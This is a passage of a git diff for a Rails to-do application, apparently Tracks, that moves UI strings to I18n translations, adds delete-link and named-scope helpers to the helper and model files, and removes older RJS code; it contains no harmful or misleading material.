+ + def link_to_edit_note (note, descriptor = sanitize(note.id.to_s)) + link_to(descriptor, + url_for({:controller => 'notes', :action => 'edit', :id => note.id}), + {:id => "link_edit_#{dom_id(note)}", :class => "note_edit_settings"}) end def link_to_project_mobile(project, accesskey, descriptor = sanitize(project.name)) @@ -128,16 +146,7 @@ module ApplicationHelper end def render_flash - render :partial => 'shared/flash', :locals => { :flash => flash } - end - - # Display a flash message in RJS templates Usage: page.notify :warning, "This - # is the message", 5.0 Puts the message into a flash of type 'warning', fades - # over 5 secs - def notify(type, message, fade_duration) - type = type.to_s # symbol to string - page.replace 'flash', "

#{message}

" - page.visual_effect :fade, 'flash', :duration => fade_duration + render :partial => 'shared/flash', :object => flash end def recurrence_time_span(rt) @@ -213,4 +222,41 @@ module ApplicationHelper note = Sanitize.clean(note, Sanitize::Config::RELAXED) return note end + + def sidebar_html_for_titled_list (list, title) + return content_tag(:h3, title+" (#{list.length})") + + content_tag(:ul, sidebar_html_for_list(list)) + end + + def sidebar_html_for_list(list) + if list.empty? + return content_tag(:li, t('sidebar.list_empty')) + else + return list.inject("") do |html, item| + link = (item.class == "Project") ? link_to_project( item ) : link_to_context(item) + html << content_tag(:li, link + " (" + count_undone_todos_phrase(item,"actions")+")") + end + end + end + + def generate_i18n_strings + js = "" + js << "i18n = new Array();\n" + %w{ + shared.toggle_multi shared.toggle_multi_title + shared.hide_form shared.hide_action_form_title + shared.toggle_single shared.toggle_single_title + projects.hide_form projects.hide_form_title + projects.show_form projects.show_form_title + contexts.hide_form contexts.hide_form_title + contexts.show_form contexts.show_form_title + contexts.new_context_pre contexts.new_context_post + common.cancel common.ok + common.ajaxError + }.each do |s| + js << "i18n['#{s}'] = '#{ t(s).gsub(/'/, "\\\\'") }';\n" + end + return js + end + end diff --git a/app/helpers/contexts_helper.rb b/app/helpers/contexts_helper.rb index abe5299b..16058ff0 100644 --- a/app/helpers/contexts_helper.rb +++ b/app/helpers/contexts_helper.rb @@ -9,4 +9,17 @@ module ContextsHelper } end + def link_to_delete_context(context, descriptor = sanitize(context.name)) + link_to( + descriptor, + context_path(context, :format => 'js'), + { + :id => "delete_context_#{context.id}", + :class => "delete_context_button", + :x_confirm_message => t('contexts.delete_context_confirmation', :name => context.name), + :title => t('contexts.delete_context_title') + } + ) + end + end diff --git a/app/helpers/feedlist_helper.rb b/app/helpers/feedlist_helper.rb index bfcf7ea8..6b3a557b 100644 --- a/app/helpers/feedlist_helper.rb +++ b/app/helpers/feedlist_helper.rb @@ -15,7 +15,25 @@ module FeedlistHelper linkoptions = merge_hashes( {:format => 'ics'}, user_token_hash, options) link_to('iCal', linkoptions, :title => "iCal feed" ) end - + + def feed_links(feeds, link_options, title) + space = " " + html = "" + html << rss_formatted_link(link_options)+space if feeds.include?(:rss) + html << text_formatted_link(link_options)+space if feeds.include?(:txt) + html << ical_formatted_link(link_options)+space if feeds.include?(:ical) + html << title + return html + end + + def all_feed_links_for_project(project) + feed_links([:rss, :txt, :ical], { :controller=> 'todos', :action => 'index', :project_id => project.to_param }, content_tag(:strong, project.name)) + end + + def all_feed_links_for_context(context) + feed_links([:rss, :txt, :ical], { :controller=> 'todos', :action => 'index', :context_id => context.to_param }, content_tag(:strong, context.name)) + end + protected def merge_hashes(*hashes) diff --git a/app/helpers/notes_helper.rb b/app/helpers/notes_helper.rb index 1c3d51c0..b5a416f0 100644 --- a/app/helpers/notes_helper.rb +++ b/app/helpers/notes_helper.rb @@ -6,4 +6,14 @@ module NotesHelper def rendered_note(note) sanitize(textilize_without_paragraph(note.body)) end + + def link_to_delete_note(note, descriptor = sanitize(note.id.to_s)) + link_to( + descriptor, + note_path(note, :format => 'js'), + {:id => "delete_note_#{note.id}", :class => "delete_note_button", + :title => t('notes.delete_note_title', :id => note.id), :x_confirm_message => t('notes.delete_note_confirm', :id => note.id)} + ) + end + end diff --git a/app/helpers/projects_helper.rb b/app/helpers/projects_helper.rb index c0a6640d..587ea435 100644 --- a/app/helpers/projects_helper.rb +++ b/app/helpers/projects_helper.rb @@ -44,5 +44,18 @@ module ProjectsHelper end html end + + def link_to_delete_project(project, descriptor = sanitize(project.name)) + link_to( + descriptor, + project_path(project, :format => 'js'), + { + :id => "delete_project_#{project.id}", + :class => "delete_project_button", + :x_confirm_message => t('projects.delete_project_confirmation', :name => project.name), + :title => t('projects.delete_project_title') + } + ) + end end diff --git a/app/helpers/recurring_todos_helper.rb b/app/helpers/recurring_todos_helper.rb index 5376a9cb..9bc0d04f 100644 --- a/app/helpers/recurring_todos_helper.rb +++ b/app/helpers/recurring_todos_helper.rb @@ -13,20 +13,20 @@ module RecurringTodosHelper def recurring_todo_remote_delete_icon link_to( image_tag_for_delete, recurring_todo_path(@recurring_todo), :id => "delete_icon_"+@recurring_todo.id.to_s, - :class => "icon delete_icon", :title => "delete the recurring action '#{@recurring_todo.description}'") + :class => "icon delete_icon", :title => t('todos.delete_recurring_action_title'), :x_confirm_message => t('todos.delete_recurring_action_confirm', :description => @recurring_todo.description)) end def recurring_todo_remote_star_icon link_to( image_tag_for_star(@recurring_todo), - toggle_star_recurring_todo_path(@recurring_todo), - :class => "icon star_item", :title => "star the action '#{@recurring_todo.description}'") + toggle_star_recurring_todo_path(@recurring_todo), :id => "star_icon_"+@recurring_todo.id.to_s, + :class => "icon star_item", :title => t('todos.star_action')) end def recurring_todo_remote_edit_icon if !@recurring_todo.completed? str = link_to( image_tag_for_edit(@recurring_todo), edit_recurring_todo_path(@recurring_todo), - :class => "icon edit_icon") + :class => "icon edit_icon", :id => "link_edit_recurring_todo_#{@recurring_todo.id}") else str = '' + image_tag("blank.png") + " " end @@ -34,17 +34,16 @@ module RecurringTodosHelper end def recurring_todo_remote_toggle_checkbox - str = check_box_tag('item_id', toggle_check_recurring_todo_path(@recurring_todo), @recurring_todo.completed?, :class => 'item-checkbox') - str + return check_box_tag("check_#{@recurring_todo.id}", toggle_check_recurring_todo_path(@recurring_todo), @recurring_todo.completed?, :class => 'item-checkbox') end private def image_tag_for_delete - image_tag("blank.png", :title =>"Delete action", :class=>"delete_item") + image_tag("blank.png", :title =>t('todos.delete_action'), :class=>"delete_item") end def image_tag_for_edit(todo) - image_tag("blank.png", :title =>"Edit action", :class=>"edit_item", :id=> dom_id(todo, 'edit_icon')) + image_tag("blank.png", :title =>t('todos.edit_action'), :class=>"edit_item", :id=> dom_id(todo, 'edit_icon')) end end diff --git a/app/helpers/search_helper.rb b/app/helpers/search_helper.rb index 56867b18..b3ce20ac 100644 --- a/app/helpers/search_helper.rb +++ b/app/helpers/search_helper.rb @@ -1,3 +1,2 @@ -module SearchHelper - -end +module SearchHelper +end diff --git a/app/helpers/todos_helper.rb b/app/helpers/todos_helper.rb index adb0704a..7f7bbc4d 100644 --- a/app/helpers/todos_helper.rb +++ b/app/helpers/todos_helper.rb @@ -1,66 +1,50 @@ module TodosHelper - # #require 'users_controller' Counts the number of incomplete items in the - # specified context - # - def count_items(context) - count = Todo.find_all("done=0 AND context_id=#{context.id}").length + def remote_star_icon(todo=@todo) + link_to( image_tag_for_star(todo), + toggle_star_todo_path(todo), + :class => "icon star_item", :title => t('todos.star_action_with_description', :description => todo.description)) end - def form_remote_tag_edit_todo( &block ) - form_remote_tag( - :url => todo_path(@todo), - :loading => "$('#submit_todo_#{@todo.id}').block({message: null})", - :html => { - :method => :put, - :id => dom_id(@todo, 'form'), - :class => dom_id(@todo, 'form') + " inline-form edit_todo_form" }, - &block ) - end - - def remote_star_icon - link_to( image_tag_for_star(@todo), - toggle_star_todo_path(@todo), - :class => "icon star_item", :title => "star the action '#{@todo.description}'") - end - - def remote_edit_button + def remote_edit_button(todo=@todo) link_to( - image_tag("blank.png", :alt => "Edit", :align => "absmiddle", :id => 'edit_icon_todo_'+@todo.id.to_s, :class => 'edit_item'), - {:controller => 'todos', :action => 'edit', :id => @todo.id}, + image_tag("blank.png", :alt => t('todos.edit'), :align => "absmiddle", :id => 'edit_icon_todo_'+todo.id.to_s, :class => 'edit_item'), + {:controller => 'todos', :action => 'edit', :id => todo.id}, :class => "icon edit_item", - :title => "Edit the action '#{@todo.description}'") + :title => t('todos.edit_action_with_description', :description => todo.description)) end - def remote_delete_menu_item(parameters, todo) - return link_to_remote( - image_tag("delete_off.png", :mouseover => "delete_on.png", :alt => "Delete", :align => "absmiddle")+" Delete", - :url => {:controller => 'todos', :action => 'destroy', :id => todo.id}, - :method => 'delete', - :with => "'#{parameters}'", - :before => todo_start_waiting_js(todo), - :complete => todo_stop_waiting_js(todo), - :confirm => "Are you sure that you want to delete the action '#{todo.description}'?") + def remote_delete_menu_item(todo) + return link_to( + image_tag("delete_off.png", :mouseover => "delete_on.png", :alt => t('todos.delete'), :align => "absmiddle")+" "+t('todos.delete'), + {:controller => 'todos', :action => 'destroy', :id => todo.id}, + :class => "icon_delete_item", + :id => "delete_#{dom_id(todo)}", + :x_confirm_message => t('todos.confirm_delete', :description => todo.description), + :title => t('todos.delete_action')); end def remote_defer_menu_item(days, todo) url = {:controller => 'todos', :action => 'defer', :id => todo.id, :days => days, :_source_view => (@source_view.underscore.gsub(/\s+/,'_') rescue "")} url[:_tag_name] = @tag_name if @source_view == 'tag' - - futuredate = (@todo.show_from || @todo.user.date) + days.days - if @todo.due && futuredate > @todo.due - return link_to_function( - image_tag("defer_#{days}_off.png", :mouseover => "defer_#{days}.png", :alt => "Defer #{pluralize(days, "day")}", :align => "absmiddle")+" Defer #{pluralize(days, "day")}", - "alert('Defer date is after due date. Please edit and adjust due date before deferring.')" - ) - else - return link_to_remote( - image_tag("defer_#{days}_off.png", :mouseover => "defer_#{days}.png", :alt => "Defer #{pluralize(days, "day")}", :align => "absmiddle")+" Defer #{pluralize(days, "day")}", - :url => url, - :before => todo_start_waiting_js(todo), - :complete => todo_stop_waiting_js(todo)) + + futuredate = (todo.show_from || todo.user.date) + days.days + options = {:x_defer_alert => false, :class => "icon_defer_item" } + if todo.due && futuredate > todo.due + options[:x_defer_alert] = true + options[:x_defer_date_after_due_date] = t('todos.defer_date_after_due_date') end + + return link_to(image_tag_for_defer(days), url, options) + end + + def remote_delete_dependency(todo, predecessor) + link_to( + image_tag("blank.png", :title => t('todos.remove_dependency'), :align => "absmiddle", :class => "delete_item"), + url_for({:controller => 'todos', :action => 'remove_predecessor', :id => todo.id}), + {:class => "delete_dependency_button", :x_predecessors_id => predecessor.id} + ) end def remote_promote_to_project_menu_item(todo) @@ -68,19 +52,31 @@ module TodosHelper :_source_view => (@source_view.underscore.gsub(/\s+/,'_') rescue "")} url[:_tag_name] = @tag_name if @source_view == 'tag' - return link_to(image_tag("to_project_off.png", :align => "absmiddle")+" Make project", url) - end - - def todo_start_waiting_js(todo) - return "$('#ul#{dom_id(todo)}').css('visibility', 'hidden'); $('##{dom_id(todo)}').block({message: null})" + return link_to(image_tag("to_project_off.png", :align => "absmiddle")+" " + t('todos.convert_to_project'), url) end + def image_tag_for_defer(days) + image_tag("defer_#{days}_off.png", :mouseover => "defer_#{days}.png", :alt => t('todos.defer_x_days', :count => days), :align => "absmiddle")+" "+t('todos.defer_x_days', :count => days) + end + + # waiting stuff can be deleted after migration of defer and dependencies def successor_start_waiting_js(successor) return "$('##{dom_id(successor, "successor")}').block({message: null})" end - def todo_stop_waiting_js(todo) - return "$('##{dom_id(todo)}').unblock();enable_rich_interaction();" + def collapsed_notes_image(todo) + link = link_to(image_tag( 'blank.png', :width=>'16', :height=>'16', :border=>'0' ), "#", {:class => 'show_notes', :title => 'Show notes'}) + notes = content_tag(:div, {:class => "todo_notes", :id => dom_id(todo, 'notes'), :style => "display:none"}) { format_note(todo.notes) } + return link+notes + end + + def collapsed_successors_image(todo) + link = link_to(image_tag( 'blank.png', :width=>'16', :height=>'16', :border=>'0' ), "#", {:class => 'show_successors', :title => 'Show successors'}) + successors = content_tag(:div, {:class => "todo_successors", :id => dom_id(todo, 'successors'), :style => "display:none"}) do + render :partial => "todos/successor", :collection => todo.pending_successors, + :locals => { :parent_container_type => parent_container_type, :suppress_dependencies => true, :predecessor => todo } + end + return link+successors end def image_tag_for_recurring_todo(todo) @@ -89,53 +85,52 @@ module TodosHelper {:controller => "recurring_todos", :action => "index"}, :class => "recurring_icon", :title => recurrence_pattern_as_text(todo.recurring_todo)) end - - def remote_toggle_checkbox - check_box_tag('item_id', toggle_check_todo_path(@todo), @todo.completed?, :class => 'item-checkbox', - :title => @todo.pending? ? 'Blocked by ' + @todo.uncompleted_predecessors.map(&:description).join(', ') : "", :readonly => @todo.pending?) + def remote_toggle_checkbox(todo=@todo) + check_box_tag('item_id', toggle_check_todo_path(todo), todo.completed?, :class => 'item-checkbox', + :title => todo.pending? ? t('todos.blocked_by', :predecessors => todo.uncompleted_predecessors.map(&:description).join(', ')) : "", :readonly => todo.pending?) end - def date_span - if @todo.completed? - "#{format_date( @todo.completed_at )}" - elsif @todo.pending? - "Pending " - elsif @todo.deferred? - show_date( @todo.show_from ) + def date_span(todo=@todo) + if todo.completed? + "#{format_date( todo.completed_at )}" + elsif todo.pending? + "#{t('todos.pending')} " + elsif todo.deferred? + show_date( todo.show_from ) else - due_date( @todo.due ) + due_date( todo.due ) end end - def successors_span - unless @todo.pending_successors.empty? - pending_count = @todo.pending_successors.length - title = "Has #{pluralize(pending_count, 'pending action')}: #{@todo.pending_successors.map(&:description).join(', ')}" + def successors_span(todo=@todo) + unless todo.pending_successors.empty? + pending_count = todo.pending_successors.length + title = "#{t('todos.has_x_pending', :count => pending_count)}: #{todo.pending_successors.map(&:description).join(', ')}" image_tag( 'successor_off.png', :width=>'10', :height=>'16', :border=>'0', :title => title ) end end - def grip_span - unless @todo.completed? + def grip_span(todo=@todo) + unless todo.completed? image_tag('grip.png', :width => '7', :height => '16', :border => '0', - :title => 'Drag onto another action to make it depend on that action', + :title => t('todos.drag_action_title'), :class => 'grip') end end - def tag_list_text - @todo.tags.collect{|t| t.name}.join(', ') + def tag_list_text(todo=@todo) + todo.tags.collect{|t| t.name}.join(', ') end - def tag_list - tags_except_starred = @todo.tags.reject{|t| t.name == Todo::STARRED_TAG_NAME} + def tag_list(todo=@todo) + tags_except_starred = todo.tags.reject{|t| t.name == Todo::STARRED_TAG_NAME} tag_list = tags_except_starred.collect{|t| "" + link_to(t.name, :controller => "todos", :action => "tag", :id => t.name) + ""}.join('') "#{tag_list}" end - def tag_list_mobile - tags_except_starred = @todo.tags.reject{|t| t.name == Todo::STARRED_TAG_NAME} + def tag_list_mobile(todo=@todo) + tags_except_starred = todo.tags.reject{|t| t.name == Todo::STARRED_TAG_NAME} # removed the link. TODO: add link to mobile view of tagged actions tag_list = tags_except_starred.collect{|t| "" + @@ -144,30 +139,30 @@ module TodosHelper if tag_list.empty? then "" else "#{tag_list}" end end - def predecessor_list_text - @todo.predecessors.map{|t| t.specification}.join(', ') + def predecessor_list_text(todo=@todo) + todo.predecessors.map{|t| t.specification}.join(', ') end - def deferred_due_date - if @todo.deferred? && @todo.due - "(action due on #{format_date(@todo.due)})" + def deferred_due_date(todo=@todo) + if todo.deferred? && todo.due + t('todos.action_due_on', :date => format_date(todo.due)) end end - def project_and_context_links(parent_container_type, opts = {}) + def project_and_context_links(todo, parent_container_type, opts = {}) str = '' - if @todo.completed? - str += @todo.context.name unless opts[:suppress_context] - should_suppress_project = opts[:suppress_project] || @todo.project.nil? + if todo.completed? + str += todo.context.name unless opts[:suppress_context] + should_suppress_project = opts[:suppress_project] || todo.project.nil? str += ", " unless str.blank? || should_suppress_project - str += @todo.project.name unless should_suppress_project + str += todo.project.name unless should_suppress_project str = "(#{str})" unless str.blank? else if (['project', 'tag', 'stats', 'search'].include?(parent_container_type)) - str << item_link_to_context( @todo ) + str << item_link_to_context( todo ) end - if (['context', 'tickler', 'tag', 'stats', 'search'].include?(parent_container_type)) && @todo.project_id - str << item_link_to_project( @todo ) + if (['context', 'tickler', 'tag', 'stats', 'search'].include?(parent_container_type)) && todo.project_id + str << item_link_to_project( todo ) end end return str @@ -207,66 +202,67 @@ module TodosHelper case days # overdue or due very soon! sound the alarm! when -1000..-1 - "Scheduled to show " + (days * -1).to_s + " days ago " + "#{t('todos.scheduled_overdue', :days => (days * -1).to_s)} " when 0 - "Show Today " + "#{t('todos.show_today')} " when 1 - "Show Tomorrow " + "#{t('todos.show_tomorrow')} " # due 2-7 days away when 2..7 if prefs.due_style == Preference.due_styles[:due_on] - "Show on " + d.strftime("%A") + " " + "#{t('todos.show_on_date', :date => d.strftime("%A"))} " else - "Show in " + days.to_s + " days " + "#{t('todos.show_in_days', :days => days.to_s)} " end # more than a week away - relax else - "Show in " + days.to_s + " days " + "#{t('todos.show_in_days', :days => days.to_s)} " end end - def item_container_id (todo) - if todo.deferred? or todo.pending? - return "tickleritems" - elsif source_view_is :project - return "p#{todo.project_id}items" + def should_show_new_item + source_view do |page| + page.todo { return !@todo.hidden? } + page.deferred { return @todo.deferred? || @todo.pending? } + page.context { + logger.debug "ci=#{@todo.context_id} dci=#{@default_context.id} th=#{@todo.hidden?} tch=#{@todo.context.hidden?}" + return @todo.context_id==@default_context.id && ( (@todo.hidden? && @todo.context.hidden?) || (!@todo.hidden?) ) + } + page.tag { + return ( (@todo.pending? && @todo.has_tag?(@tag_name)) || + (@todo.has_tag?(@tag_name)) || + (@todo.starred? && @tag_name == Todo::STARRED_TAG_NAME) + ) + } + page.project { + return (@todo.active? && @todo.project && @todo.project.id == @default_project.id) || + (@todo.project.hidden? && @todo.project_hidden?) || @todo.deferred? || @todo.pending? + } end - return "c#{todo.context_id}items" + + return false end - def should_show_new_item + def should_make_context_visible + return @todo.active? && (!@todo.hidden? && !source_view_is(:project) ) + end - unless @todo.project.nil? - # do not show new actions that were added to hidden or completed projects - # on home page and context page - return false if source_view_is(:todo) && (@todo.project.hidden? || @todo.project.completed?) - return false if source_view_is(:context) && (@todo.project.hidden? || @todo.project.completed?) - end - - return false if (source_view_is(:tag) && !@todo.tags.include?(@tag_name)) - - return true if source_view_is(:deferred) && @todo.deferred? - return true if source_view_is(:project) && @todo.project.hidden? && @todo.project_hidden? - return true if source_view_is(:project) && @todo.deferred? - return true if !source_view_is(:deferred) && @todo.active? - return true if source_view_is(:project) && @todo.pending? - - return true if source_view_is(:tag) && @todo.pending? - return false + def should_add_new_context + return @new_context_created && !source_view_is(:project) end def parent_container_type return 'tickler' if source_view_is :deferred return 'project' if source_view_is :project return 'stats' if source_view_is :stats + return 'tag' if source_view_is :tag return 'context' end - def empty_container_msg_div_id - todo = @todo || @successor - return "tickler-empty-nd" if source_view_is_one_of(:project, :tag) && todo.deferred? - return "p#{todo.project_id}empty-nd" if source_view_is :project - return "c#{todo.context_id}empty-nd" + def todo_container_is_empty + default_container_empty = ( @down_count == 0 ) + deferred_container_empty = ( @todo.deferred? && @remaining_deferred_count == 0) + return default_container_empty || deferred_container_empty end def default_contexts_for_autocomplete @@ -280,7 +276,7 @@ module TodosHelper end def format_ical_notes(notes) - unless notes.blank? + unless notes.nil? || notes.blank? split_notes = notes.split(/\n/) joined_notes = split_notes.join("\\n") end @@ -295,16 +291,128 @@ module TodosHelper def date_field_tag(name, id, value = nil, options = {}) text_field_tag name, value, {"size" => 12, "id" => id, "class" => "Date", "onfocus" => "Calendar.setup", "autocomplete" => "off"}.update(options.stringify_keys) end - + + def update_needs_to_hide_context + return (@remaining_in_context == 0 && (@todo_hidden_state_changed && @todo.hidden?)) || + (@remaining_in_context == 0 && @todo_was_deferred_from_active_state) || + (@remaining_in_context == 0 && @todo.completed? && !(@original_item_was_deferred || @original_item_was_hidden)) if source_view_is(:tag) + + return false if source_view_is(:project) + + return (@remaining_in_context == 0) && !source_view_is(:context) + end + + def update_needs_to_remove_todo_from_container + source_view do |page| + page.context { return @context_changed || @todo.deferred? || @todo.pending? } + page.project { return @todo_deferred_state_changed || @todo_pending_state_changed } + page.deferred { return @context_changed || !(@todo.deferred? || @todo.pending?) } + page.calendar { return @due_date_changed || !@todo.due } + page.stats { return @todo.completed? } + page.tag { return (@context_changed && !@todo.hidden?) || @tag_was_removed || @todo_hidden_state_changed || @todo_deferred_state_changed } + page.todo { return @context_changed || @todo.hidden? || @todo.deferred? || @todo.pending?} + end + return false + end + + def replace_with_updated_todo + source_view do |page| + page.context { return !update_needs_to_remove_todo_from_container } + page.project { return !update_needs_to_remove_todo_from_container } + page.deferred { return !@context_changed && (@todo.deferred? || @todo.pending?) } + page.calendar { return !@due_date_changed && @todo.due } + page.stats { return !@todo.completed? } + page.tag { return !update_needs_to_remove_todo_from_container && !@tag_was_removed } + page.todo { return !update_needs_to_remove_todo_from_container } + end + return false + end + + def append_updated_todo + source_view do |page| + page.context { return false } + page.project { return @todo_deferred_state_changed || @todo_pending_state_changed } + page.deferred { return @context_changed && (@todo.deferred? || @todo.pending?) } + page.calendar { return @due_date_changed && @todo.due } + page.stats { return false } + page.tag { return update_needs_to_remove_todo_from_container && !@tag_was_removed} + page.todo { return @context_changed && !(@todo.deferred? || @todo.pending? || @todo.hidden?) } + end + return false + end + + def item_container_id (todo) + return "hiddenitems" if source_view_is(:tag) && todo.hidden? + return "c#{todo.context_id}items" if source_view_is :deferred + return @new_due_id if source_view_is :calendar + return "tickleritems" if !source_view_is(:todo) && (todo.deferred? || todo.pending?) + return "completed_containeritems" if todo.completed? + return "p#{todo.project_id}items" if source_view_is :project + return "c#{todo.context_id}items" + end + + def empty_container_msg_div_id(todo = @todo || @successor) + raise Exception.new, "no @todo or @successor set" if !todo + + source_view do |page| + page.project { + return "tickler-empty-nd" if @todo_was_deferred_from_active_state || @todo_was_blocked_from_active_state + return "p#{todo.project_id}empty-nd" + } + page.tag { + return "tickler-empty-nd" if @todo_was_deferred_from_active_state + return "hidden-empty-nd" if @todo.hidden? + return "c#{todo.context_id}empty-nd" + } + page.calendar { + return "empty_#{@new_due_id}" + } + end + + return "c#{todo.context_id}empty-nd" + end + + def show_empty_message_in_source_container + container_id = "" + source_view do |page| + page.project { + container_id = "p#{@original_item_project_id}empty-nd" if @remaining_in_context == 0 + container_id = "tickler-empty-nd" if ( + ( (@todo_was_activated_from_deferred_state || @todo_was_activated_from_pending_state) && @remaining_deferred_or_pending_count == 0) || + (@original_item_was_deferred && @remaining_deferred_or_pending_count == 0 && @todo.completed?) ) + container_id = "empty-d" if @completed_count && @completed_count == 0 && !@todo.completed? + } + page.deferred { container_id = "c#{@original_item_context_id}empty-nd" if @remaining_in_context == 0 } + page.calendar { container_id = "empty_#{@original_item_due_id}" if @old_due_empty } + page.tag { + container_id = "hidden-empty-nd" if (@remaining_hidden_count == 0 && !@todo.hidden? && @todo_hidden_state_changed) || + (@remaining_hidden_count == 0 && @todo.completed? && @original_item_was_hidden) + container_id = "tickler-empty-nd" if (@todo_was_activated_from_deferred_state && @remaining_deferred_or_pending_count == 0) || + (@original_item_was_deferred && @remaining_deferred_or_pending_count == 0 && @todo.completed?) + container_id = "empty-d" if @completed_count && @completed_count == 0 && !@todo.completed? + } + page.context { container_id = "c#{@original_item_context_id}empty-nd" if @remaining_in_context == 0 } + page.todo { container_id = "c#{@original_item_context_id}empty-nd" if @remaining_in_context == 0 } + end + return container_id.blank? ? "" : "$(\"##{container_id}\").slideDown(100);" + end + + def render_animation(animation) + html = "" + animation.each do |step| + unless step.blank? + html += step + "({ go: function() {\r\n" + end + end + html += "}}) " * animation.count + return html + end + private def image_tag_for_star(todo) class_str = todo.starred? ? "starred_todo" : "unstarred_todo" - image_tag("blank.png", :title =>"Star action", :class => class_str) + image_tag("blank.png", :title =>t('todos.star_action'), :class => class_str, :id => "star_img_"+todo.id.to_s) end - def auto_complete_result2(entries, phrase = nil) - return entries.map{|e| e.specification()}.join("\n") rescue '' - end - end diff --git a/app/helpers/users_helper.rb b/app/helpers/users_helper.rb index 2310a240..8f4db7bd 100644 --- a/app/helpers/users_helper.rb +++ b/app/helpers/users_helper.rb @@ -1,2 +1,12 @@ module UsersHelper + def remote_delete_user(user) + return link_to( + image_tag("blank.png", :title =>t('users.destroy_user'), :class=>"delete_item"), + url_for({:controller => 'users', :action => 'destroy', :id => user.id}), + {:id => "delete_user_#{user.id}", + :class => "delete_user_button", + :title => t('users.destroy_user'), + :x_confirm_message => t('users.destroy_confirmation', :login => user.login) + }) + end end diff --git a/app/models/preference.rb b/app/models/preference.rb index 06dd95af..3223b8ae 100644 --- a/app/models/preference.rb +++ b/app/models/preference.rb @@ -6,16 +6,6 @@ class Preference < ActiveRecord::Base { :due_in_n_days => 0, :due_on => 1} end - def self.day_number_to_name_map - { 0 => "Sunday", - 1 => "Monday", - 2 => "Tuesday", - 3 => "Wednesday", - 4 => "Thursday", - 5 => "Friday", - 6 => "Saturday"} - end - def hide_completed_actions? return show_number_completed == 0 end diff --git a/app/models/project.rb b/app/models/project.rb index 20a75f97..672bd777 100644 --- a/app/models/project.rb +++ b/app/models/project.rb @@ -1,15 +1,12 @@ class Project < ActiveRecord::Base - has_many :todos, :dependent => :delete_all, :include => [:context,:tags] + has_many :todos, :dependent => :delete_all + + # TODO: remove these scopes. Can be replaced by the named scopes on the todo relation has_many :not_done_todos, :include => [:context,:tags,:project], :class_name => 'Todo', :order => "todos.due IS NULL, todos.due ASC, todos.created_at ASC", :conditions => ["todos.state = ?", 'active'] - has_many :not_done_todos_including_hidden, - :include => [:context,:tags,:project], - :class_name => 'Todo', - :order => "todos.due IS NULL, todos.due ASC, todos.created_at ASC", - :conditions => ["(todos.state = ? OR todos.state = ?)", 'active', 'project_hidden'] has_many :done_todos, :include => [:context,:tags,:project], :class_name => 'Todo', @@ -35,11 +32,12 @@ class Project < ActiveRecord::Base named_scope :active, :conditions => { :state => 'active' } named_scope :hidden, :conditions => { :state => 'hidden' } named_scope :completed, :conditions => { :state => 'completed'} + named_scope :uncompleted, :conditions => ["NOT state = ?", 'completed'] - validates_presence_of :name, :message => "project must have a name" - validates_length_of :name, :maximum => 255, :message => "project name must be less than 256 characters" - validates_uniqueness_of :name, :message => "already exists", :scope =>"user_id" - validates_does_not_contain :name, :string => ',', :message => "cannot contain the comma (',') character" + validates_presence_of :name + validates_length_of :name, :maximum => 255 + validates_uniqueness_of :name, :scope => "user_id" + validates_does_not_contain :name, :string => ',' acts_as_list :scope => 'user_id = #{user_id} AND state = \'#{state}\'' acts_as_state_machine :initial => :active, :column => 'state' @@ -71,8 +69,8 @@ class Project < ActiveRecord::Base def self.feed_options(user) { - :title => 'Tracks Projects', - :description => "Lists all the projects for #{user.display_name}" + :title => I18n.t('models.project.feed_title'), + :description => I18n.t('models.project.feed_description', :username => user.display_name) } end diff --git a/app/models/todo.rb b/app/models/todo.rb index 13ae14b5..3456f55c 100644 --- a/app/models/todo.rb +++ b/app/models/todo.rb @@ -10,27 +10,40 @@ class Todo < ActiveRecord::Base has_many :predecessors, :through => :successor_dependencies has_many :successors, :through => :predecessor_dependencies has_many :uncompleted_predecessors, :through => :successor_dependencies, - :source => :predecessor, :conditions => ['NOT (state = ?)', 'completed'] + :source => :predecessor, :conditions => ['NOT (todos.state = ?)', 'completed'] has_many :pending_successors, :through => :predecessor_dependencies, - :source => :successor, :conditions => ['state = ?', 'pending'] + :source => :successor, :conditions => ['todos.state = ?', 'pending'] after_save :save_predecessors named_scope :active, :conditions => { :state => 'active' } + named_scope :active_or_hidden, :conditions => ["todos.state = ? OR todos.state = ?", 'active', 'project_hidden'] named_scope :not_completed, :conditions => ['NOT (todos.state = ? )', 'completed'] - named_scope :completed, :conditions => ["NOT completed_at IS NULL"] + named_scope :completed, :conditions => ["NOT todos.completed_at IS NULL"] named_scope :are_due, :conditions => ['NOT (todos.due IS NULL)'] - named_scope :deferred, :conditions => ["completed_at IS NULL AND NOT show_from IS NULL"] + named_scope :deferred, :conditions => ["todos.completed_at IS NULL AND NOT todos.show_from IS NULL"] named_scope :blocked, :conditions => ['todos.state = ?', 'pending'] + named_scope :deferred_or_blocked, :conditions => ["(todos.completed_at IS NULL AND NOT todos.show_from IS NULL) OR (todos.state = ?)", "pending"] + named_scope :not_deferred_or_blocked, :conditions => ["todos.completed_at IS NULL AND todos.show_from IS NULL AND NOT todos.state = ?", "pending"] + named_scope :with_tag, lambda { |tag| {:joins => :taggings, :conditions => ["taggings.tag_id = ? ", tag.id] } } + named_scope :of_user, lambda { |user_id| {:conditions => ["todos.user_id = ? ", user_id] } } + named_scope :hidden, + :joins => :context, + :conditions => ["todos.state = ? OR (contexts.hide = ? AND (todos.state = ? OR todos.state = ? OR todos.state = ?))", + 'project_hidden', true, 'active', 'deferred', 'pending'] + named_scope :not_hidden, + :joins => [:context], + :conditions => ['NOT(todos.state = ? OR (contexts.hide = ? AND (todos.state = ? OR todos.state = ? OR todos.state = ?)))', + 'project_hidden', true, 'active', 'deferred', 'pending'] STARRED_TAG_NAME = "starred" # regular expressions for dependencies - RE_TODO = /[^"]+/ - RE_CONTEXT = /[^"]+/ - RE_PROJECT = /[^"]+/ - RE_PARTS = /"(#{RE_TODO})"\s<"(#{RE_CONTEXT})";\s"(#{RE_PROJECT})">/ # results in array - RE_SPEC = /"#{RE_TODO}"\s<"#{RE_CONTEXT}";\s"#{RE_PROJECT}">/ # results in string + RE_TODO = /[^']+/ + RE_CONTEXT = /[^']+/ + RE_PROJECT = /[^']+/ + RE_PARTS = /'(#{RE_TODO})'\s<'(#{RE_CONTEXT})';\s'(#{RE_PROJECT})'>/ # results in array + RE_SPEC = /'#{RE_TODO}'\s<'#{RE_CONTEXT}';\s'#{RE_PROJECT}'>/ # results in string acts_as_state_machine :initial => :active, :column => 'state' @@ -82,6 +95,7 @@ class Todo < ActiveRecord::Base def initialize(*args) super(*args) @predecessor_array = nil # Used for deferred save of predecessors + @removed_predecessors = nil end def no_uncompleted_predecessors_or_deferral? @@ -91,12 +105,11 